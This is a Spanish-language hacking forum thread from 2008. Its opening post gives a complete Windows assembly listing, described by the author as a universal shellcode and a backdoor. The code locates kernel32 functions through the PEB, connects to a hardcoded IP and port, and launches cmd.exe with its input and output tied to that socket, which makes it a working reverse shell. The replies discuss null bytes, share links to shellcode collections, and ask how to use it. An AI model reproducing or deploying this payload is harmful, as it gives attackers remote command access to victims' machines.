elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Ingresar Registrarse
07 Septiembre 2008, 12:10  



+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderadores: sirdarckcat, berz3k)
| | |-+  [°] Shellcode universal, para Windows en ASM
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Imprimir
Autor Tema: [°] Shellcode universal, para Windows en ASM  (Leído 951 veces)
dark_hat

Desconectado Desconectado

Mensajes: 133



Ver Perfil
[°] Shellcode universal, para Windows en ASM
« en: 19 Junio 2008, 22:57 »

Bueno después de 2 días sin salir ni a comprar el pan, al final conseguí hacerla casi entera, aunque me queda hacer que no tenga ceros en los opcodes, que no lo hice porque en realidad mi objetivo era hacer simplemente un backdoor.

Código:
include 'C:\fasm\INCLUDE\win32ax.inc'

IP EQU 127 + 1*256*256*256
PORT EQU 8000h

Size_of_WSADATA EQU 400
Size_of_SOCKET EQU 4
Size_of_PROCESS_INFORMATION EQU 16
Size_of_STARTUPINFO EQU 68
Size_of_sockaddr_in EQU 16

AF_INET EQU 2
SOCK_STREAM EQU 1


.code
start:

push ebp
mov ebp, esp
sub esp, 1024

db 64h, 0A1h, 30h, 0h, 0h, 0h ;mov eax, fs:[30h]
mov eax, [eax + 0Ch]
mov esi, [eax + 1Ch]
lodsd
mov ebx, [eax + 08h]
mov [ebp - 4], ebx ;We have in [ebp - 4] the address off kernel32.dll

mov ecx, [ebx + 3Ch]
add ecx, ebx ;We have in ecx the address off PE

mov ecx, [ecx + 78h]
add ecx, ebx ;We have in ecx the address off .edata section

mov esi, [ecx + 20h]
add esi, ebx ;We have in esi the address off AddressOfNames table

xor edx, edx
cld
Find_GetProcAddress:
inc edx
lodsd
add eax, ebx
cmp dword [eax], "GetP"
jne Find_GetProcAddress
cmp dword [eax + 4], "rocA"
jne Find_GetProcAddress
cmp dword [eax + 8], "ddre"
jne Find_GetProcAddress

mov esi, [ecx + 24h]
add esi, ebx
add esi, edx
add esi, edx
lodsd
xor esi, esi
mov si, ax
dec esi

mov edx, [ecx + 1Ch]
add edx, ebx
shl esi, 2
add esi, edx
lodsd
add eax, ebx
mov [ebp - 32], eax ;We have in [ebp - 32] the address of GetProcAddress

mov dword [ebp - 20], "Load"
mov dword [ebp - 16], "Libr"
mov dword [ebp - 12], "aryA"
mov dword [ebp - 8], 0

lea ecx, [ebp - 20]
push ecx
push ebx
call eax ;We have in eax the address off LoadLibraryA

mov dword [ebp - 16], "ws2_"
mov dword [ebp - 12], "32.d"
mov dword [ebp - 8], "ll"

lea ecx, [ebp - 16]
push ecx
call eax
mov [ebp - 8], eax ;We have in [ebp - 8] the address off ws2_32.dll

mov dword [ebp - 20], "WSAS"
mov dword [ebp - 16], "tart"
mov dword [ebp - 12], "up"

lea ecx, [ebp - 20]
mov ebx, [ebp - 32]
push ecx
push eax
call ebx
mov [ebp - 12], eax ;We have in [ebp - 12] the address off WSAStartup

mov dword [ebp - 28], "Crea"
mov dword [ebp - 24], "tePr"
mov dword [ebp - 20], "oces"
mov dword [ebp - 16], "sA"

lea ecx, [ebp - 28]
mov ebx, [ebp - 4]
mov eax, [ebp - 32]
push ecx
push ebx
call eax
mov [ebp - 4], eax ;We have in [ebp - 4] the address off CreateProcessA

mov dword [ebp - 24], "WSAS"
mov dword [ebp - 20], "ocke"
mov dword [ebp - 16], "tA"

lea ecx, [ebp - 24]
mov ebx, [ebp - 8]
mov eax, [ebp - 32]
push ecx
push ebx
call eax
mov [ebp - 16], eax ;We have in [ebp - 16] the address off WSASocketA

mov dword [ebp - 24], "conn"
mov dword [ebp - 20], "ect"

lea ecx, [ebp - 24]
mov ebx, [ebp - 8]
mov eax, [ebp - 32]
push ecx
push ebx
call eax
mov [ebp - 8], eax ;We have in [ebp - 8] the address off connect

;Now we habe in the stack the four Apis that our reverse shell will use.

;[ebp - 4]  ------------------------> CreateProcessA
;[ebp - 8]  ------------------------> connect
;[ebp - 12] ------------------------> WSAStartup
;[ebp - 16] ------------------------> WSASocketA



;Now I am goint to traslate to ASM this C code:



;WSADATA wsaData;
;SOCKET hSocket;
;STARTUPINFO si;
;PROCESS_INFORMATION pi;
;struct sockaddr_in adik_sin;

;memset(&adik_sin, 0, sizeof(adik_sin));
      ;memset(&si, 0, sizeof(si));
      ;WSAStartup(MAKEWORD(2,0), &wsaData);
      ;hSocket = WSASocket(AF_INET, SOCK_STREAM, 0, 0, 0, 0);
      ;adik_sin.sin_family = AF_INET;
      ;adik_sin.sin_port = htons(Port);
      ;adik_sin.sin_addr.s_addr = inet_addr(IP);
      ;connect(hSocket, (struct sockaddr*)&adik_sin, sizeof(adik_sin));
      ;si.cb = sizeof(si);
      ;si.dwFlags = STARTF_USESTDHANDLES + STARTF_USESHOWWINDOW;
      ;si.hStdInput = si.hStdOutput = si.hStdError = (void *)hSocket;
      ;CreateProcess(0, "cmd.exe", 0, 0, 1, 0, 0, 0, &si, &pi);





cld
mov ecx, (Size_of_sockaddr_in + Size_of_STARTUPINFO)/4
lea ebx, [ebp - 16 - Size_of_sockaddr_in - Size_of_STARTUPINFO]
Put_zero:
mov dword [ebx], 0
add ebx, 4
loop Put_zero

lea ecx, [ebp - 16 - Size_of_sockaddr_in - Size_of_STARTUPINFO - Size_of_PROCESS_INFORMATION - Size_of_SOCKET - Size_of_WSADATA]
mov ebx, [ebp - 12]
push ecx
push 2
call ebx

mov ebx, [ebp - 16]
push 0
push 0
push 0
push 0
push SOCK_STREAM
push AF_INET
call ebx

mov dword [ebp - 16 - Size_of_sockaddr_in - Size_of_STARTUPINFO - Size_of_PROCESS_INFORMATION - Size_of_SOCKET], eax

mov word [ebp - 16 - Size_of_sockaddr_in], AF_INET
mov word [ebp - 16 - Size_of_sockaddr_in + 2], PORT
mov dword [ebp - 16 - Size_of_sockaddr_in + 4], IP

mov eax, [ebp - 16 - Size_of_sockaddr_in - Size_of_STARTUPINFO - Size_of_PROCESS_INFORMATION - Size_of_SOCKET]
lea ecx, [ebp - 16 - Size_of_sockaddr_in]
mov ebx, [ebp - 8]
push Size_of_sockaddr_in
push ecx
push eax
call ebx

mov dword [ebp - 16 - Size_of_sockaddr_in - Size_of_STARTUPINFO], Size_of_STARTUPINFO
mov dword [ebp - 16 - Size_of_sockaddr_in - Size_of_STARTUPINFO + 44], 257; STARTF_USESTDHANDLES + STARTF_USESHOWWINDOW = 257
mov eax, [ebp - 16 - Size_of_sockaddr_in - Size_of_STARTUPINFO - Size_of_PROCESS_INFORMATION - Size_of_SOCKET]
mov dword [ebp - 16 - Size_of_sockaddr_in - Size_of_STARTUPINFO + 56], eax
mov dword [ebp - 16 - Size_of_sockaddr_in - Size_of_STARTUPINFO + 60], eax
mov dword [ebp - 16 - Size_of_sockaddr_in - Size_of_STARTUPINFO + 64], eax

mov dword [ebp - 16 - Size_of_sockaddr_in - Size_of_STARTUPINFO - Size_of_PROCESS_INFORMATION - Size_of_SOCKET - Size_of_WSADATA - 8], "cmd."
mov dword [ebp - 16 - Size_of_sockaddr_in - Size_of_STARTUPINFO - Size_of_PROCESS_INFORMATION - Size_of_SOCKET - Size_of_WSADATA - 4], "exe"

lea edx, [ebp - 16 - Size_of_sockaddr_in - Size_of_STARTUPINFO - Size_of_PROCESS_INFORMATION - Size_of_SOCKET - Size_of_WSADATA - 8]
lea ecx, [ebp - 16 - Size_of_sockaddr_in - Size_of_STARTUPINFO]
lea eax, [ebp - 16 - Size_of_sockaddr_in - Size_of_STARTUPINFO - Size_of_PROCESS_INFORMATION]
mov ebx, [ebp - 4]
push eax
push ecx
push 0
push 0
push 0
push 1
push 0
push 0
push edx
push 0
call ebx

Y tras este aporte me voy a emborracharme y a que me de el aire.
« Última modificación: 12 Agosto 2008, 16:48 por sirdarckcat » En línea

Eso que huele es un poco de incienso,
eso marrón una tableta de turrón...
achernar_

Desconectado Desconectado

Mensajes: 47



Ver Perfil
Re: Shellcode universal, para Windows en ASM
« Respuesta #1 en: 23 Junio 2008, 20:20 »

Bueno después de 2 días sin salir ni a comprar el pan, al final conseguí hacerla casi entera, aunque me queda hacer que no tenga ceros en los opcodes, que no lo hice porque en realidad mi objetivo era hacer simplemente un backdoor.

no siempre es necesario que una shellcode no contenga ceros, los ceros son un problema cuando la shellcode ingresa como una cadena y los ceros la cortan, pero si la shellcode estuviese dentro de un archivo jpg (por decir algo) que explotara alguna vulnerabilidad, podria suceder que la shellcode se copie a la pila sin problemas. Dije jpg porque en una imagen un cero no es lo mismo que en una cadena de texto. De hecho en el bug de los cursores animados ani, creo que la shellcode podia tener ceros.

En línea
c3r0x

Desconectado Desconectado

Mensajes: 41


Ver Perfil
Re: Shellcode universal, para Windows en ASM
« Respuesta #2 en: 04 Julio 2008, 12:48 »

nice! one
En línea
k-k0

Desconectado Desconectado

Mensajes: 17


Ver Perfil
Re: Shellcode universal, para Windows en ASM
« Respuesta #3 en: 31 Julio 2008, 03:42 »

tenia ganas de hacer algo en linux, si alguno se prende... comenzamos a acerla ...
En línea
Ferсhu

Desconectado Desconectado

Mensajes: 1.225

Menos palabras y Mas codigos.


Ver Perfil WWW
Re: Shellcode universal, para Windows en ASM
« Respuesta #4 en: 31 Julio 2008, 11:13 »

:http://goodfellas.shellcode.com.ar/shellcodes.html
:http://www.shellcode.com.ar/es/shellcodes.html

yo no te lo di  :-X
En línea

cazaoscuro

Desconectado Desconectado

Mensajes: 28


¿Y tu quien eres?


Ver Perfil
Re: Shellcode universal, para Windows en ASM
« Respuesta #5 en: 10 Agosto 2008, 00:20 »

podriais explicarme como se usa ??? :huh: :huh:
En línea
berz3k
Moderador
*****
Desconectado Desconectado

Mensajes: 465



Ver Perfil
Re: [°] Shellcode universal, para Windows en ASM
« Respuesta #6 en: 13 Agosto 2008, 22:21 »


Windows Vista Ultimate no rula :-(

-berz3k.

En línea
Terran

Desconectado Desconectado

Mensajes: 4


Ver Perfil WWW
Re: [°] Shellcode universal, para Windows en ASM
« Respuesta #7 en: 25 Agosto 2008, 17:16 »

Que cachondo, y esos comentarios en ingles en el codigo?

Hablas ingles en privado?

Por lo demas, yo no veo la shellcode por ningun lado, si no "algo" en ASM :)
En línea

Informatico y Administrador de Sistemas en Malaga:
http://www.malaga-pc.com

Blog personal:
http://rafaelmbaez.blogspot.com
Ivanchuk

Desconectado Desconectado

Mensajes: 250



Ver Perfil WWW
Re: [°] Shellcode universal, para Windows en ASM
« Respuesta #8 en: 26 Agosto 2008, 05:39 »

Lindo laburo, gratz!  ;)
En linux no es mucha historia :P. En windows hay q andar buscando todas las syscalls  :¬¬
En línea

Sólo quien practica lo absurdo puede lograr lo imposible.
Páginas: [1] Ir Arriba Imprimir 
Ir a:  







Consolas     La Web de Goku     MilW0rm     MundoDivx

Hispabyte     Truzone     TodoReviews     ZonaPhotoshop

hard-h2o modding    Foros de ayuda    Yashira.org    Videojuegos    indetectables.net   

Noticias Informatica    Seguridad Informática    ADSL    Foros en español    eNYe Sec

Todas las webs afiliadas están libres de publicidad engañosa.

Powered by SMF 1.1.5 | SMF © 2006-2008, Simple Machines LLC